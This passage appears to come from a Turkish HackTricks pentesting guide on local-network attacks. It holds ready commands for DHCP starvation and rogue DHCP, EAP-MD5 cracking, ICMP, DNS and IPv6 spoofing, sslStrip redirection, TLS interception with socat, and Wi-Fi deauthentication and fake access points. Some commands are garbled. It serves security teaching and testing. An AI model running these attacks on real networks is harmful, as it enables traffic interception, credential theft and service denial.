Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**
**DoS'un iki türü** DHCP sunucularına karşı gerçekleştirilebilir. İlk tür, **tüm olası IP adreslerini kullanmak için yeterince sahte ana bilgisayar simüle etmekten** oluşur.\
Bu saldırı, DHCP sunucusunun yanıtlarını görebiliyorsanız ve protokolü tamamlayabiliyorsanız (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)) çalışacaktır. Örneğin, bu **Wifi ağlarında mümkün değildir**.
DHCP DoS gerçekleştirmek için başka bir yol, **her olası IP'yi kaynak kodu olarak kullanarak bir DHCP-RELEASE paketi göndermektir**. Böylece, sunucu herkesin IP'yi kullanmayı bitirdiğini düşünecektir.
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
Daha otomatik bir yol, [DHCPing](https://github.com/kamorin/DHCPig) aracını kullanmaktır.
Belirtilen DoS saldırılarını kullanarak, istemcileri ortam içinde yeni kiralamalar almaya zorlayabilir ve meşru sunucuları tüketerek yanıt veremez hale getirebilirsiniz. Böylece meşru sunucular yeniden bağlanmaya çalıştığında, **bir sonraki saldırıda belirtilen kötü niyetli değerleri sunabilirsiniz**.
#### Kötü niyetli değerleri ayarlama
Bir sahte DHCP sunucusu, `/usr/share/responder/DHCP.py` konumundaki DHCP betiği kullanılarak kurulabilir. Bu, trafiği kötü niyetli bir sunucuya yönlendirerek HTTP trafiğini ve kimlik bilgilerini yakalamak gibi ağ saldırıları için faydalıdır. Ancak, sahte bir ağ geçidi ayarlamak daha az etkilidir çünkü yalnızca istemciden çıkan trafiği yakalamaya izin verir ve gerçek ağ geçidinden gelen yanıtları kaçırır. Bunun yerine, daha etkili bir saldırı için sahte bir DNS veya WPAD sunucusu kurmak önerilir.
Aşağıda sahte DHCP sunucusunu yapılandırmak için komut seçenekleri bulunmaktadır:
* **IP Adresimiz (Ağ Geçidi İlanı)**: Makinenizin IP'sini ağ geçidi olarak ilan etmek için `-i 10.0.0.100` kullanın.
* **Yerel DNS Alan Adı**: İsteğe bağlı olarak, yerel bir DNS alan adı ayarlamak için `-d example.org` kullanın.
* **Orijinal Yönlendirici/Ağ Geçidi IP'si**: Meşru yönlendiricinin veya ağ geçidinin IP adresini belirtmek için `-r 10.0.0.1` kullanın.
* **Birincil DNS Sunucusu IP'si**: Kontrol ettiğiniz sahte DNS sunucusunun IP adresini ayarlamak için `-p 10.0.0.100` kullanın.
* **İkincil DNS Sunucusu IP'si**: İsteğe bağlı olarak, ikincil bir DNS sunucusu IP'si ayarlamak için `-s 10.0.0.1` kullanın.
* **Yerel Ağın Alt Ağ Maskesi**: Yerel ağ için alt ağ maskesini tanımlamak için `-n 255.255.255.0` kullanın.
* **DHCP Trafiği için Arayüz**: Belirli bir ağ arayüzünde DHCP trafiğini dinlemek için `-I eth1` kullanın.
* **WPAD Yapılandırma Adresi**: Web trafiği kesintisi için WPAD yapılandırma adresini ayarlamak için `-w “http://10.0.0.100/wpad.dat”` kullanın.
* **Varsayılan Ağ Geçidi IP'sini Taklit Etme**: Varsayılan ağ geçidi IP adresini taklit etmek için `-S` ekleyin.
* **Tüm DHCP İsteklerine Yanıt Verme**: Sunucunun tüm DHCP isteklerine yanıt vermesi için `-R` ekleyin, ancak bunun gürültülü olduğunu ve tespit edilebileceğini unutmayın.
Bu seçenekleri doğru bir şekilde kullanarak, ağ trafiğini etkili bir şekilde kesmek için bir sahte DHCP sunucusu kurulabilir.
```python
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
```
### **EAP Saldırıları**
İşte 802.1X uygulamalarına karşı kullanılabilecek bazı saldırı taktikleri:
* EAP üzerinden aktif brute-force şifre kırma
* Bozulmuş EAP içeriği ile RADIUS sunucusuna saldırma _\*\*_(istismarlar)
* EAP mesajlarını yakalama ve çevrimdışı şifre kırma (EAP-MD5 ve PEAP)
* TLS sertifika doğrulamasını atlamak için EAP-MD5 kimlik doğrulamasını zorlamak
* Bir hub veya benzeri bir cihaz kullanarak kimlik doğrulama sırasında kötü niyetli ağ trafiği enjekte etme
Eğer saldırgan, kurban ile kimlik doğrulama sunucusu arasında ise, kimlik doğrulama protokolünü EAP-MD5'ye düşürmeyi (gerekirse) deneyebilir ve kimlik doğrulama girişimini yakalayabilir. Ardından, bunu brute-force ile kırmayı deneyebilir:
```
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) Saldırıları
**FHRP** (First Hop Redundancy Protocol), **bir sıcak yedek yönlendirme sistemi oluşturmak** için tasarlanmış bir ağ protokolleri sınıfıdır. FHRP ile fiziksel yönlendiriciler tek bir mantıksal cihazda birleştirilebilir, bu da hata toleransını artırır ve yük dağılımına yardımcı olur.
**Cisco Systems mühendisleri iki FHRP protokolü geliştirmiştir: GLBP ve HSRP.**
{% content-ref url="glbp-and-hsrp-attacks.md" %}
[glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md)
{% endcontent-ref %}
### RIP
Yönlendirme Bilgisi Protokolü (RIP) olarak bilinen üç versiyon vardır: RIP, RIPv2 ve RIPng. RIP ve RIPv2, datagramları UDP üzerinden 520 numaralı port aracılığıyla akranlara gönderirken, RIPng datagramları IPv6 çoklu yayını aracılığıyla UDP 521 numaralı portuna yayınlar. MD5 kimlik doğrulama desteği RIPv2 ile tanıtılmıştır. Öte yandan, RIPng yerel kimlik doğrulama içermemektedir; bunun yerine, IPv6 içindeki isteğe bağlı IPsec AH ve ESP başlıklarına güvenilmektedir.
* **RIP ve RIPv2:** İletişim, 520 numaralı portta UDP datagramları aracılığıyla yapılır.
* **RIPng:** IPv6 çoklu yayını aracılığıyla datagramları yayınlamak için 521 numaralı UDP portunu kullanır.
RIPv2'nin MD5 kimlik doğrulamasını desteklediğini, RIPng'nin ise yerel kimlik doğrulama içermediğini ve IPv6'daki IPsec AH ve ESP başlıklarına güvendiğini unutmayın.
### EIGRP Saldırıları
**EIGRP (Enhanced Interior Gateway Routing Protocol)**, dinamik bir yönlendirme protokolüdür. **Bu bir mesafe-vektör protokolüdür.** Eğer **kimlik doğrulama** yoksa ve pasif arayüzlerin yapılandırması yapılmamışsa, bir **saldırgan** EIGRP yönlendirmesine müdahale edebilir ve **yönlendirme tablolarını zehirleyebilir**. Ayrıca, EIGRP ağı (diğer bir deyişle, otonom sistem) **düzdür ve herhangi bir bölgeye ayrılmamıştır**. Eğer bir **saldırgan bir rota enjekte ederse**, bu rotanın otonom EIGRP sistemi boyunca **yayılması** muhtemeldir.
EIGRP sistemine saldırmak, **meşru bir EIGRP yönlendiricisi ile bir komşuluk kurmayı** gerektirir; bu da temel keşiften çeşitli enjekte etmelere kadar birçok olasılığı açar.
[**FRRouting**](https://frrouting.org/) **BGP, OSPF, EIGRP, RIP ve diğer protokolleri destekleyen sanal bir yönlendirici uygulamanıza** olanak tanır. Tek yapmanız gereken, bunu saldırganın sistemine dağıtmak ve aslında yönlendirme alanında meşru bir yönlendirici gibi davranmaktır.
{% content-ref url="eigrp-attacks.md" %}
[eigrp-attacks.md](eigrp-attacks.md)
{% endcontent-ref %}
[**Coly**](https://code.google.com/p/coly/) EIGRP (Enhanced Interior Gateway Routing Protocol) yayınlarını yakalama yeteneklerine sahiptir. Ayrıca, yönlendirme yapılandırmalarını değiştirmek için kullanılabilecek paketlerin enjekte edilmesine de olanak tanır.
### OSPF
Open Shortest Path First (OSPF) protokolünde **MD5 kimlik doğrulaması, yönlendiriciler arasında güvenli iletişimi sağlamak için yaygın olarak kullanılır**. Ancak, bu güvenlik önlemi Loki ve John the Ripper gibi araçlar kullanılarak tehlikeye atılabilir. Bu araçlar, MD5 hash'lerini yakalayabilir ve kırabilir, böylece kimlik doğrulama anahtarını açığa çıkarabilir. Bu anahtar elde edildikten sonra, yeni yönlendirme bilgileri eklemek için kullanılabilir. Rota parametrelerini yapılandırmak ve ele geçirilmiş anahtarı belirlemek için sırasıyla _Injection_ ve _Connection_ sekmeleri kullanılır.
* **MD5 Hash'lerini Yakalama ve Kırma:** Bu amaçla Loki ve John the Ripper gibi araçlar kullanılır.
* **Rota Parametrelerini Yapılandırma:** Bu, _Injection_ sekmesi aracılığıyla yapılır.
* **Ele Geçirilmiş Anahtarı Ayarlama:** Anahtar, _Connection_ sekmesi altında yapılandırılır.
### Diğer Genel Araçlar ve Kaynaklar
* [**Above**](https://github.com/c4s73r/Above): Ağ trafiğini taramak ve güvenlik açıklarını bulmak için bir araç
* Ağ saldırıları hakkında **daha fazla bilgi** [**burada**](https://github.com/Sab0tag3d/MITM-cheatsheet) bulabilirsiniz.
## **Sahtecilik**
Saldırgan, sahte DHCP yanıtları göndererek ağın yeni üyesinin tüm ağ parametrelerini (GW, IP, DNS) yapılandırır.
```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
```
### ARP Spoofing
[Önceki bölümü kontrol edin](./#arp-spoofing).
### ICMPRedirect
ICMP Redirect, saldırganın bir IP'ye ulaşmanın en iyi yolu olduğunu belirten bir ICMP paket türü 1 kod 5 göndermeyi içerir. Ardından, kurban IP ile iletişim kurmak istediğinde, paketi saldırgan üzerinden gönderecektir.
```bash
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
```
### DNS Spoofing
Saldırgan, kurbanın talep ettiği bazı (veya tüm) alan adlarını çözecektir.
```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```
**dnsmasq ile kendi DNS'inizi yapılandırın**
```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
```
### Yerel Ağ Geçitleri
Sistemlere ve ağlara genellikle birden fazla yol vardır. Yerel ağ içindeki MAC adreslerinin bir listesini oluşturduktan sonra, IPv4 yönlendirmesini destekleyen ana bilgisayarları tanımlamak için _gateway-finder.py_ kullanın.
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```
### [LLMNR, NBT-NS ve mDNS Spoofing](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
DNS sorguları başarısız olduğunda yerel ana bilgisayar çözümü için Microsoft sistemleri **Link-Local Multicast Name Resolution (LLMNR)** ve **NetBIOS Name Service (NBT-NS)**'ye dayanır. Benzer şekilde, **Apple Bonjour** ve **Linux sıfır yapılandırma** uygulamaları, bir ağ içindeki sistemleri keşfetmek için **Multicast DNS (mDNS)** kullanır. Bu protokollerin kimlik doğrulama gerektirmeyen doğası ve UDP üzerinden çalışmaları, mesajları yayınlayarak, kullanıcıları kötü niyetli hizmetlere yönlendirmeyi amaçlayan saldırganlar tarafından istismar edilebilir.
Yanıtlayıcıyı kullanarak ana bilgisayarlar tarafından aranan hizmetleri taklit etmek için sahte yanıtlar gönderebilirsiniz.\
Daha fazla bilgi için [Yanıtlayıcı ile hizmetleri nasıl taklit edeceğinizi buradan okuyun](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [WPAD Spoofing](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Tarayıcılar genellikle **Web Proxy Auto-Discovery (WPAD) protokolünü otomatik olarak proxy ayarlarını almak için kullanır**. Bu, bir sunucudan yapılandırma ayrıntılarını almak anlamına gelir, özellikle "http://wpad.example.org/wpad.dat" gibi bir URL aracılığıyla. Bu sunucunun istemciler tarafından keşfi çeşitli mekanizmalarla gerçekleşebilir:
* **DHCP** aracılığıyla, burada keşif özel bir kod 252 girişi kullanılarak kolaylaştırılır.
* **DNS** aracılığıyla, bu yerel alanda _wpad_ olarak etiketlenmiş bir ana bilgisayar adı aramayı içerir.
* **Microsoft LLMNR ve NBT-NS** aracılığıyla, DNS sorgularının başarısız olduğu durumlarda kullanılan yedekleme mekanizmalarıdır.
Yanıtlayıcı aracı, **kötü niyetli bir WPAD sunucusu** olarak hareket ederek bu protokolden yararlanır. İstemcileri kendisine bağlanmaya yönlendirmek için DHCP, DNS, LLMNR ve NBT-NS kullanır. Yanıtlayıcı kullanarak hizmetlerin nasıl taklit edilebileceği hakkında daha fazla bilgi için [bunu kontrol edin](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [SSDP ve UPnP cihazlarını Spoofing](spoofing-ssdp-and-upnp-devices.md)
Ağda farklı hizmetler sunarak bir **kullanıcıyı** bazı **düz metin kimlik bilgilerini** girmeye **kandırmaya** çalışabilirsiniz. **Bu saldırı hakkında daha fazla bilgi için** [**SSDP ve UPnP Cihazlarını Spoofing**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6 Komşu Spoofing
Bu saldırı, ARP Spoofing'e çok benzer ancak IPv6 dünyasında geçerlidir. Kurbanın, GW'nin IPv6'sının saldırganın MAC'ine sahip olduğunu düşünmesini sağlayabilirsiniz.
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds
```
### IPv6 Yönlendirici İlanı Sahteciliği/Boğma
Bazı işletim sistemleri, ağda gönderilen RA paketlerinden varsayılan olarak geçidi yapılandırır. Saldırganı IPv6 yönlendiricisi olarak ilan etmek için şunu kullanabilirsiniz:
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via dev wlan0
fake_router6 wlan0 fe80::01/16
```
### IPv6 DHCP sahteciliği
Varsayılan olarak bazı işletim sistemleri, ağda bir DHCPv6 paketi okuyarak DNS'i yapılandırmaya çalışır. Ardından, bir saldırgan kendisini DNS olarak yapılandırmak için bir DHCPv6 paketi gönderebilir. DHCP ayrıca kurban için bir IPv6 sağlar.
```bash
dhcp6.spoof on
dhcp6.spoof.domains
mitm6
```
### HTTP (sahte sayfa ve JS kodu enjeksiyonu)
## İnternet Saldırıları
### sslStrip
Bu saldırının temel olarak yaptığı şey, eğer **kullanıcı** bir **HTTP** sayfasına **erişmeye** çalışıyorsa ve bu sayfa **HTTPS** versiyonuna **yönlendiriyorsa**. **sslStrip**, **istemci ile** bir **HTTP bağlantısını** ve **sunucu ile** bir **HTTPS bağlantısını** **sürdürerek**, bağlantıyı **düz metin** olarak **dinleyebilmesini** sağlar.
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
Daha fazla bilgi [burada](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
### sslStrip+ ve dns2proxy ile HSTS'yi atlama
**sslStrip+ ve dns2proxy** arasındaki **fark**, **sslStrip**'e karşı, örneğin _**www.facebook.com**_ **adresini** _**wwww.facebook.com**_ **olarak** **yönlendirmeleridir** (not: **ekstra** "**w**" var) ve bu **alan adının adresini saldırgan IP'si olarak ayarlayacaklardır**. Bu şekilde, **istemci** _**wwww.facebook.com**_ **(saldırgan)** ile **bağlanacak**, ancak arka planda **sslstrip+** **gerçek bağlantıyı** **www.facebook.com** ile **https** üzerinden **sürdürecektir**.
Bu tekniğin **amacı**, _**wwww**.facebook.com_ **tarayıcının** **önbelleğine** **kaydedilmeyeceği** için **HSTS'yi** **atlamaktır**; böylece tarayıcı **facebook kimlik doğrulamasını HTTP üzerinden** **gerçekleştirmeye** **kandırılacaktır**.\
Bu saldırıyı gerçekleştirmek için, kurbanın öncelikle [http://www.faceook.com](http://www.faceook.com) adresine erişmeye çalışması gerektiğini unutmayın, https değil. Bu, bir http sayfasındaki bağlantıları değiştirerek yapılabilir.
Daha fazla bilgi [burada](https://www.bettercap.org/legacy/#hsts-bypass), [burada](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) ve [burada](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip veya sslStrip+ artık çalışmıyor. Bunun nedeni, tarayıcılarda önceden kaydedilmiş HSTS kurallarının olmasıdır, bu nedenle bir kullanıcı "önemli" bir alan adına ilk kez erişse bile HTTPS üzerinden erişecektir. Ayrıca, önceden kaydedilmiş kurallar ve diğer üretilen kurallar** [**`includeSubdomains`**](https://hstspreload.appspot.com) **bayrağını kullanabilir, bu nedenle** _**wwww.facebook.com**_ **örneği artık çalışmayacaktır çünkü** _**facebook.com**_ **`includeSubdomains` ile HSTS kullanmaktadır.**
TODO: easy-creds, evilgrade, metasploit, factory
## TCP dinleme portu
```bash
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
```
## TCP + SSL dinleme portu
#### Anahtarlar ve kendinden imzalı sertifika oluşturun
```
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```
#### Sertifika kullanarak dinleme
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```
#### Sertifika kullanarak dinleme yapın ve ana bilgisayarlara yönlendirin
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
```
Bazen, eğer müşteri CA'nın geçerli olduğunu kontrol ederse, **bir CA tarafından imzalanmış başka bir ana bilgisayar adı sertifikası sunabilirsiniz**.\
Diğer ilginç bir test, **istenen ana bilgisayar adı için ancak kendinden imzalı bir sertifika sunmaktır**.
Test edilecek diğer şeyler, sertifikayı geçerli bir CA olmayan geçerli bir sertifika ile imzalamayı denemek veya geçerli bir genel anahtarı kullanarak, gerçek özel anahtarla herhangi bir şeyi deşifre etmesine gerek olmayan bir algoritmayı (diffie hellman gibi) zorlamaktır ve müşteri gerçek özel anahtarın bir denemesini (bir hash gibi) talep ettiğinde sahte bir deneme göndermek ve müşterinin bunu kontrol etmemesini beklemektir.
## Bettercap
```bash
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```
### Aktif Keşif Notları
Bir UDP paketi, istenen porta sahip olmayan bir cihaza gönderildiğinde, bir ICMP (Port Ulaşılmaz) gönderildiğini dikkate alın.
### **ARP keşfi**
ARP paketleri, ağ içinde hangi IP'lerin kullanıldığını keşfetmek için kullanılır. PC, her olası IP adresi için bir istek göndermeli ve yalnızca kullanılanlar yanıt verecektir.
### **mDNS (çoklu yayın DNS)**
Bettercap, **\_services\_.dns-sd.\_udp.local** için MDNS isteği gönderir (her X ms'de) ve bu paketi gören makine genellikle bu isteğe yanıt verir. Ardından, yalnızca "services" yanıt veren makineleri arar.
**Araçlar**
* Avahi-browser (--all)
* Bettercap (net.probe.mdns)
* Responder
### **NBNS (NetBios İsim Sunucusu)**
Bettercap, "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" ismini sormak için 137/UDP portuna paketler yayınlar.
### **SSDP (Basit Hizmet Keşif Protokolü)**
Bettercap, her türlü hizmeti aramak için SSDP paketleri yayınlar (UDP Port 1900).
### **WSD (Web Hizmeti Keşfi)**
Bettercap, hizmetleri aramak için WSD paketleri yayınlar (UDP Port 3702).
## Referanslar
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
* **Ağ Güvenliği Değerlendirmesi: Ağınızı Tanıyın (3. baskı)**
* **Pratik IoT Hacking: Nesnelerin İnternetine Saldırmanın Kesin Rehberi. Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood tarafından**
* [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
\
**Hata avı ipucu**: **Intigriti** için **kayıt olun**, **hackerlar tarafından, hackerlar için oluşturulmuş bir premium hata avı platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks'i Destekleyin
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
{% endhint %}